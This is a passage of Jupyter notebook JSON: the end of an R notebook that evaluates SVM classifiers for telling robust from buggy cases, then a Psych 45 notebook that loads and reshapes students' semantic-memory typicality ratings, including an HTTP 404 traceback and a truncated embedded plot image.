\"B\",]\n", "\n", "n = nrow(robust_cases)\n", "\n", "rsample = sample(nrow(robust_cases))\n", "robust_cases = robust_cases[rsample[1:n],]\n", "\n", "rsample = sample(nrow(buggy_cases))\n", "buggy_cases = buggy_cases[rsample[1:n],]\n", "\n", "print(nrow(robust_cases))\n", "print(nrow(buggy_cases))\n", "\n", "#robust_cases = more_dm_df[more_dm_df$class == \"R\",]\n", "#buggy_cases = more_dm_df[more_dm_df$class == \"B\",]\n", "\n", "#both_robust_cases = cbind(mut_robust_cases[,names(mut_robust_cases) != \"class\"], evs_robust_cases)\n", "\n", "#print(ncol(robust_cases))\n", "#print(ncol(buggy_cases))\n", "\n", "#print(nrow(robust_cases))\n", "#print(nrow(buggy_cases))\n", "\n", "#print(names(buggy_cases))\n", "\n", "#print(test[829,])" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "display_data", "text": [ "[1] 837\n", "[1] 837\n" ] } ], "prompt_number": 6 }, { "cell_type": "code", "collapsed": false, "input": [ "%%R\n", "\n", "library(\"caret\")\n", "\n", "test = rbind(robust_cases, buggy_cases)\n", "\n", "x_test = test[,names(test) != \"class\"]\n", "y_test = test[,\"class\"]\n", "\n", "x_vars = names(x_test)\n", "\n", "m_vars = m_vars[m_vars != \"class\"]\n", "missing_vars = m_vars[! m_vars %in% x_vars]\n", "#print(missing_vars)\n", "x_test[,missing_vars] = 0\n", "\n", "#Test data summary\n", "print(table(Reference=y_test))\n", "\n", "load(file = paste(dir, \"svms\", \"mutation-classifier.svm\", sep=\"/\"))\n", "z = predict(m,x_test)\n", "\n", "print(\"Mutation only classifier:\")\n", "print(confusionMatrix(z, y_test))\n", "\n", "load(file = paste(dir, \"svms\", \"mutation-event-classifier.svm\", sep=\"/\"))\n", "z = predict(m,x_test)\n", "\n", "print(\"Mutation-event classifier:\")\n", "print(confusionMatrix(z, y_test))" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "display_data", "text": [ "Loading required package: lattice\n", "Loading required package: ggplot2\n", "Reference\n", " R B \n", "837 837 \n", "[1] \"Mutation only classifier:\"\n", "Confusion Matrix and Statistics\n", "\n", " Reference\n", "Prediction R B\n", " R 496 202\n", " B 341 635\n", " \n", " Accuracy : 0.6756 \n", " 95% CI : (0.6526, 0.698)\n", " No Information Rate : 0.5 \n", " P-Value [Acc > NIR] : < 2.2e-16 \n", " \n", " Kappa : 0.3513 \n", " Mcnemar's Test P-Value : 3.178e-09 \n", " \n", " Sensitivity : 0.5926 \n", " Specificity : 0.7587 \n", " Pos Pred Value : 0.7106 \n", " Neg Pred Value : 0.6506 \n", " Prevalence : 0.5000 \n", " Detection Rate : 0.2963 \n", " Detection Prevalence : 0.4170 \n", " Balanced Accuracy : 0.6756 \n", " \n", " 'Positive' Class : R \n", " \n", "[1] \"Mutation-event classifier:\"\n", "Confusion Matrix and Statistics\n", "\n", " Reference\n", "Prediction R B\n", " R 394 88\n", " B 443 749\n", " \n", " Accuracy : 0.6828 \n", " 95% CI : (0.6599, 0.7051)\n", " No Information Rate : 0.5 \n", " P-Value [Acc > NIR] : < 2.2e-16 \n", " \n", " Kappa : 0.3656 \n", " Mcnemar's Test P-Value : < 2.2e-16 \n", " \n", " Sensitivity : 0.4707 \n", " Specificity : 0.8949 \n", " Pos Pred Value : 0.8174 \n", " Neg Pred Value : 0.6284 \n", " Prevalence : 0.5000 \n", " Detection Rate : 0.2354 \n", " Detection Prevalence : 0.2879 \n", " Balanced Accuracy : 0.6828 \n", " \n", " 'Positive' Class : R \n", " \n" ] } ], "prompt_number": 7 }, { "cell_type": "code", "collapsed": false, "input": [], "language": "python", "metadata": {}, "outputs": [] } ], "metadata": {} } ] }

gpl-3.0

sgagnon/Psych45

WWW/demo_files/Semantic_demo_stats_original.ipynb

2

144534

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Psych 45: Semantic memory demo stats\n" ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "cellView": null, "collapsed": false, "executionInfo": { "content": { "execution_count": 10, "payload": [], "status": "ok", "user_expressions": {}, "user_variables": {} }, "timestamp": 1462199571477, "user": { "color": "#1FA15D", "displayName": "Steph Gagnon", "isAnonymous": false, "isMe": true, "permissionId": "13438171290375696632", "photoUrl": "//lh5.googleusercontent.com/-spdSQbdC81Y/AAAAAAAAAAI/AAAAAAAAFEg/_mc-Q0mvE5E/s50-c-k-no/photo.jpg", "sessionId": "2a3e57da62886c23", "userId": "102258427440644983632" }, "user_tz": 420 } }, "outputs": [], "source": [ "%matplotlib inline\n", "\n", "import pandas as pd\n", "import seaborn as sns\n", "import matplotlib.pyplot as plt\n", "import scipy as sp\n", "sns.set(style='ticks', context='poster', font_scale=1)" ] }, { "cell_type": "code", "execution_count": 11, "metadata": { "cellView": null, "collapsed": false, "executionInfo": { "content": { "execution_count": 67, "payload": [], "status": "ok", "user_expressions": {}, "user_variables": {} }, "timestamp": 1462204476022, "user": { "color": "#1FA15D", "displayName": "Steph Gagnon", "isAnonymous": false, "isMe": true, "permissionId": "13438171290375696632", "photoUrl": "//lh5.googleusercontent.com/-spdSQbdC81Y/AAAAAAAAAAI/AAAAAAAAFEg/_mc-Q0mvE5E/s50-c-k-no/photo.jpg", "sessionId": "2a3e57da62886c23", "userId": "102258427440644983632" }, "user_tz": 420 } }, "outputs": [ { "ename": "HTTPError", "evalue": "HTTP Error 404: Not Found", "output_type": "error", "traceback": [ "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m", "\u001b[0;31mHTTPError\u001b[0m Traceback (most recent call last)", "\u001b[0;32m<ipython-input-11-2881ea899176>\u001b[0m in \u001b[0;36m<module>\u001b[0;34m()\u001b[0m\n\u001b[1;32m 1\u001b[0m data = pd.read_csv('http://web.stanford.edu/class/psych45/demos/Semantic_memory.csv', index_col=[0],\n\u001b[0;32m----> 2\u001b[0;31m header=[0, 1], skipinitialspace=True)\n\u001b[0m\u001b[1;32m 3\u001b[0m \u001b[0mdata\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mhead\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m//anaconda/lib/python2.7/site-packages/pandas/io/parsers.pyc\u001b[0m in \u001b[0;36mparser_f\u001b[0;34m(filepath_or_buffer, sep, dialect, compression, doublequote, escapechar, quotechar, quoting, skipinitialspace, lineterminator, header, index_col, names, prefix, skiprows, skipfooter, skip_footer, na_values, na_fvalues, true_values, false_values, delimiter, converters, dtype, usecols, engine, delim_whitespace, as_recarray, na_filter, compact_ints, use_unsigned, low_memory, buffer_lines, warn_bad_lines, error_bad_lines, keep_default_na, thousands, comment, decimal, parse_dates, keep_date_col, dayfirst, date_parser, memory_map, float_precision, nrows, iterator, chunksize, verbose, encoding, squeeze, mangle_dupe_cols, tupleize_cols, infer_datetime_format, skip_blank_lines)\u001b[0m\n\u001b[1;32m 472\u001b[0m skip_blank_lines=skip_blank_lines)\n\u001b[1;32m 473\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 474\u001b[0;31m \u001b[0;32mreturn\u001b[0m \u001b[0m_read\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mfilepath_or_buffer\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mkwds\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 475\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 476\u001b[0m \u001b[0mparser_f\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0m__name__\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mname\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m//anaconda/lib/python2.7/site-packages/pandas/io/parsers.pyc\u001b[0m in \u001b[0;36m_read\u001b[0;34m(filepath_or_buffer, kwds)\u001b[0m\n\u001b[1;32m 236\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 237\u001b[0m filepath_or_buffer, _ = get_filepath_or_buffer(filepath_or_buffer,\n\u001b[0;32m--> 238\u001b[0;31m encoding)\n\u001b[0m\u001b[1;32m 239\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 240\u001b[0m \u001b[0;32mif\u001b[0m \u001b[0mkwds\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mget\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m'date_parser'\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mNone\u001b[0m\u001b[0;34m)\u001b[0m \u001b[0;32mis\u001b[0m \u001b[0;32mnot\u001b[0m \u001b[0mNone\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m//anaconda/lib/python2.7/site-packages/pandas/io/common.pyc\u001b[0m in \u001b[0;36mget_filepath_or_buffer\u001b[0;34m(filepath_or_buffer, encoding)\u001b[0m\n\u001b[1;32m 135\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 136\u001b[0m \u001b[0;32mif\u001b[0m \u001b[0m_is_url\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mfilepath_or_buffer\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 137\u001b[0;31m \u001b[0mreq\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0m_urlopen\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mstr\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mfilepath_or_buffer\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 138\u001b[0m \u001b[0;32mreturn\u001b[0m \u001b[0mmaybe_read_encoded_stream\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mreq\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mencoding\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 139\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m//anaconda/lib/python2.7/urllib2.pyc\u001b[0m in \u001b[0;36murlopen\u001b[0;34m(url, data, timeout, cafile, capath, cadefault, context)\u001b[0m\n\u001b[1;32m 152\u001b[0m \u001b[0;32melse\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 153\u001b[0m \u001b[0mopener\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0m_opener\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 154\u001b[0;31m \u001b[0;32mreturn\u001b[0m \u001b[0mopener\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mopen\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0murl\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mdata\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mtimeout\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 155\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 156\u001b[0m \u001b[0;32mdef\u001b[0m \u001b[0minstall_opener\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mopener\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m//anaconda/lib/python2.7/urllib2.pyc\u001b[0m in \u001b[0;36mopen\u001b[0;34m(self, fullurl, data, timeout)\u001b[0m\n\u001b[1;32m 435\u001b[0m \u001b[0;32mfor\u001b[0m \u001b[0mprocessor\u001b[0m \u001b[0;32min\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mprocess_response\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mget\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mprotocol\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0;34m[\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 436\u001b[0m \u001b[0mmeth\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mgetattr\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mprocessor\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mmeth_name\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 437\u001b[0;31m \u001b[0mresponse\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mmeth\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mreq\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mresponse\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 438\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 439\u001b[0m \u001b[0;32mreturn\u001b[0m \u001b[0mresponse\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m//anaconda/lib/python2.7/urllib2.pyc\u001b[0m in \u001b[0;36mhttp_response\u001b[0;34m(self, request, response)\u001b[0m\n\u001b[1;32m 548\u001b[0m \u001b[0;32mif\u001b[0m \u001b[0;32mnot\u001b[0m \u001b[0;34m(\u001b[0m\u001b[0;36m200\u001b[0m \u001b[0;34m<=\u001b[0m \u001b[0mcode\u001b[0m \u001b[0;34m<\u001b[0m \u001b[0;36m300\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 549\u001b[0m response = self.parent.error(\n\u001b[0;32m--> 550\u001b[0;31m 'http', request, response, code, msg, hdrs)\n\u001b[0m\u001b[1;32m 551\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 552\u001b[0m \u001b[0;32mreturn\u001b[0m \u001b[0mresponse\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m//anaconda/lib/python2.7/urllib2.pyc\u001b[0m in \u001b[0;36merror\u001b[0;34m(self, proto, *args)\u001b[0m\n\u001b[1;32m 473\u001b[0m \u001b[0;32mif\u001b[0m \u001b[0mhttp_err\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 474\u001b[0m \u001b[0margs\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0;34m(\u001b[0m\u001b[0mdict\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0;34m'default'\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0;34m'http_error_default'\u001b[0m\u001b[0;34m)\u001b[0m \u001b[0;34m+\u001b[0m \u001b[0morig_args\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 475\u001b[0;31m \u001b[0;32mreturn\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0m_call_chain\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m*\u001b[0m\u001b[0margs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 476\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 477\u001b[0m \u001b[0;31m# XXX probably also want an abstract factory that knows when it makes\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m//anaconda/lib/python2.7/urllib2.pyc\u001b[0m in \u001b[0;36m_call_chain\u001b[0;34m(self, chain, kind, meth_name, *args)\u001b[0m\n\u001b[1;32m 407\u001b[0m \u001b[0mfunc\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mgetattr\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mhandler\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mmeth_name\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 408\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 409\u001b[0;31m \u001b[0mresult\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mfunc\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m*\u001b[0m\u001b[0margs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 410\u001b[0m \u001b[0;32mif\u001b[0m \u001b[0mresult\u001b[0m \u001b[0;32mis\u001b[0m \u001b[0;32mnot\u001b[0m \u001b[0mNone\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 411\u001b[0m \u001b[0;32mreturn\u001b[0m \u001b[0mresult\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m//anaconda/lib/python2.7/urllib2.pyc\u001b[0m in \u001b[0;36mhttp_error_default\u001b[0;34m(self, req, fp, code, msg, hdrs)\u001b[0m\n\u001b[1;32m 556\u001b[0m \u001b[0;32mclass\u001b[0m \u001b[0mHTTPDefaultErrorHandler\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mBaseHandler\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 557\u001b[0m \u001b[0;32mdef\u001b[0m \u001b[0mhttp_error_default\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mself\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mreq\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mfp\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mcode\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mmsg\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mhdrs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 558\u001b[0;31m \u001b[0;32mraise\u001b[0m \u001b[0mHTTPError\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mreq\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mget_full_url\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mcode\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mmsg\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mhdrs\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mfp\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 559\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 560\u001b[0m \u001b[0;32mclass\u001b[0m \u001b[0mHTTPRedirectHandler\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mBaseHandler\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;31mHTTPError\u001b[0m: HTTP Error 404: Not Found" ] } ], "source": [ "data = pd.read_csv('http://web.stanford.edu/class/psych45/demos/Semantic_memory.csv', index_col=[0],\n", " header=[0, 1], skipinitialspace=True)\n", "data.head()" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "We currently have data from 125 students.\n" ] } ], "source": [ "print 'We currently have data from ' + str(data.count()[0]) + ' students.'" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "cellView": null, "collapsed": false, "executionInfo": { "content": { "execution_count": 73, "payload": [], "status": "ok", "user_expressions": {}, "user_variables": {} }, "timestamp": 1462204657802, "user": { "color": "#1FA15D", "displayName": "Steph Gagnon", "isAnonymous": false, "isMe": true, "permissionId": "13438171290375696632", "photoUrl": "//lh5.googleusercontent.com/-spdSQbdC81Y/AAAAAAAAAAI/AAAAAAAAFEg/_mc-Q0mvE5E/s50-c-k-no/photo.jpg", "sessionId": "2a3e57da62886c23", "userId": "102258427440644983632" }, "user_tz": 420 } }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>category</th>\n", " <th>item</th>\n", " <th>timestamp</th>\n", " <th>rating</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> fruit</td>\n", " <td> apple</td>\n", " <td> 4/26/16 11:47</td>\n", " <td> 1</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> fruit</td>\n", " <td> apple</td>\n", " <td> 4/28/16 11:04</td>\n", " <td> 2</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> fruit</td>\n", " <td> apple</td>\n", " <td> 4/28/16 11:05</td>\n", " <td> 1</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> fruit</td>\n", " <td> apple</td>\n", " <td> 4/28/16 11:06</td>\n", " <td> 1</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> fruit</td>\n", " <td> apple</td>\n", " <td> 4/28/16 11:24</td>\n", " <td> 1</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " category item timestamp rating\n", "0 fruit apple 4/26/16 11:47 1\n", "1 fruit apple 4/28/16 11:04 2\n", "2 fruit apple 4/28/16 11:05 1\n", "3 fruit apple 4/28/16 11:06 1\n", "4 fruit apple 4/28/16 11:24 1" ] }, "execution_count": 5, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df = data.unstack().reset_index(name='rating')\n", "df.rename(columns={'level_0': 'category', 'Timestamp': 'item', 'level_2': 'timestamp'}, inplace=True)\n", "df.head()" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": false }, "outputs": [], "source": [ "category_list = df.category.unique()" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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\nambloS06wTG1k